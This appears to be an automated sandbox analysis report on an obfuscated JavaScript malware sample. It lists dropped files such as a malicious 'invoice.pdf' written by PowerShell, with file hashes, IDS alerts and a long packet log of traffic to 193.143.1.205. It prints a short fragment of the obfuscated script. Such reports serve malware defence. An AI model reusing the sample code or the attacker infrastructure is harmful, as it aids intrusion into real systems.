Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e81e0f9e-24f8-46f6-9af6-93a95f15243b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e996c62f-35ac-4689-bc09-c12d3de39d58.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15641), with CRLF line terminators
Entropy (8bit):	4.895812458872078
TrID:
File name:	571464521086425926.js
File size:	19'020 bytes
MD5:	9000690d1b8b2fcbd9632a67b1d6357c
SHA1:	416a01a94c9e0e358ac11b9dcd916120efa255dd
SHA256:	8086b389003e4113d766193219a42fe7918f44bbd945dfa3f0b2428db368f300
SHA512:	e4657071f7a7edcb306e1d0cd7eb6f02689ac73c5a6a583413aecf6d950b262e7f0eb05a652ac238c8149030c093bad19ee497ded09ee28e27126a58c906fe4a
SSDEEP:	192:TT75Lq5GEffXfSr0enX6+wFusXWfgGVlKeD7dFcMZ36MTjtQjqU5W9yB+7/Oz:TUnXSNwFus/K7dF8MTCjxQW
TLSH:	B58285D55006E362D4F946DAB95E048323DC038B5DA478EFC1237A9D4B7CA29FDE26B0
File Content Preview:	function fiizhqg(){xvychzcz=[1031,3079,5127,4103,2055,3072];var tzbpbpces=this[vqlofrc+hsoxeqyyt+oghbx+ipotgo+nziwjtn+dccea+zhfjxh+efohywndt](this[wfrqt+selbx+jsyssh+oghbx+ughqni+vqlofrc+efohywndt][fjsqneyz+oghbx+nziwjtn+hsoxeqyyt+efohywndt+nziwjtn+cujhtd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:45:13.703943+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T14:45:16.487790+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:45:12.854145050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:12.859947920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:12.860025883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:12.863017082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:12.869712114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703795910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703831911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703843117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703855038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703866005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703876972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703887939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.703943014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.704003096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.704015017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.704026937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.704037905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.704085112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.704108953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.760809898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.760827065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.760838032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.760941029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981440067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981465101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981476068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981484890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981496096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981507063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981512070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981523037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981535912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981545925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981579065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981576920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981590986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981601954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981611967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981625080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981646061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981678009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981770992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981782913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981792927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981802940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981815100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981816053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981848001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981878042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981884003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981889009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981899977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981909037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.981925964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.981976032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.986500025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986511946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986521959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986566067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.986578941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986591101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986592054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.986634970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.986969948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986985922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.986996889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987006903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987016916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987045050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.987802982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987833023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987843990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987864017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.987893105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987895012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.987904072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.987966061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.988816023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.988826036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.988836050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.988846064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.988856077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.988867044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.988907099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.989722013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.989737988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.989748001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.989757061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.989767075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.989773035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.989814997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.990619898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.990638971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.990648985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.990654945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.990664959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.990704060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.991436005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.991477013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.991487026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.991492033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.991538048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.991542101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.991554022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.991591930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.992341042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.992387056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.992397070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.992429018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.992873907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.992908001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.992922068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.993251085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:13.993294001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:13.996576071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.008500099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.017709970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.017738104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.017755032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.017764091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.017817974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.017864943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.017961025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.017971992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.017992020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.018023968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.018038034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.018049002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.018085003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.022229910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.035275936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.053544998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.053565025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.053576946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.053586960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.053596973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.053599119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.053627968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.053672075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.089529037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089541912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089551926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089595079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089606047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089618921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.089643955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089670897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.089695930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.089788914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089797974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089835882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.089849949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089876890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089886904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.089930058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090075970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090086937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090126038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090127945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090140104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090150118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090159893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090168953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090212107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090401888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090447903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090449095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090459108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090496063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090550900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090588093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090599060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090635061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090683937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090693951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090704918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090714931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090729952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090759993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090826988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090837955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090847969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090859890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.090871096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.090913057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.091325998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091336012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091346979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091376066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.091404915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.091428041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091439009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091449022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091463089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091481924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.091521025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.091597080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091608047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091618061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091629028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091671944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.091677904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091689110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091698885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.091746092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.092222929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092250109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092261076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092268944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.092308998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.092339993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092350960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092360973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092371941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092381001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.092411041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 14:45:14.092484951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092495918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092504978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 14:45:14.092515945 CET	80	49730	193.143.1.205	192.168.2.4
